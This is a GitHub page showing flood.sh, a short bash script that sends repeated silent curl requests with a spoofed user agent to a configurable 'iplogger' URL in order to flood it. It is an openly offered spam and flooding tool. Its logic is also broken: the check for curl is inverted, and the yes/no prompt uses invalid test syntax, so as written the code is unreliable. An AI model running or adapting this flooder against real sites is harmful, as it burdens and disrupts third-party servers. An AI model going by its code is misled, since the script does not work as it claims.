-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathflood.sh
26 lines (26 loc) · 838 Bytes
/
flood.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
count=2; #Spam counter!
url="http://example.com/iplogger.php" #The logger page can be entered here.
useragent="Flooding-Tool/3.0.1 (GitHub.com/SossenSystems/Simple-cURL-Flooder; HackOS; Lindows x86_64; rv:52.4)" #The user agent can be defined here
RED='\033[0;31m'
GREEN='\e[32m'
NC='\033[0m'
if [[ $1 == 'start' ]]; then
if apt -qq list curl 2>/dev/null | grep -q installed ; then
echo -e "Command not found! Install? (y/n) \c"
read
if "$REPLY" = "y"; then
sudo apt-get install curl
else
printf "${RED}cURL installer aborted!${NC}\n"
fi
else
printf "${RED}Start flooding...${NC}\n"
for ((i=0; i < count; i++)) ; do
curl --silent --output /dev/null -A "$useragent" $url > /dev/null
done
printf "${GREEN}Flooding has been finished!${NC}\n"
fi
else
printf "${RED}Start it with start${NC}\n"
fi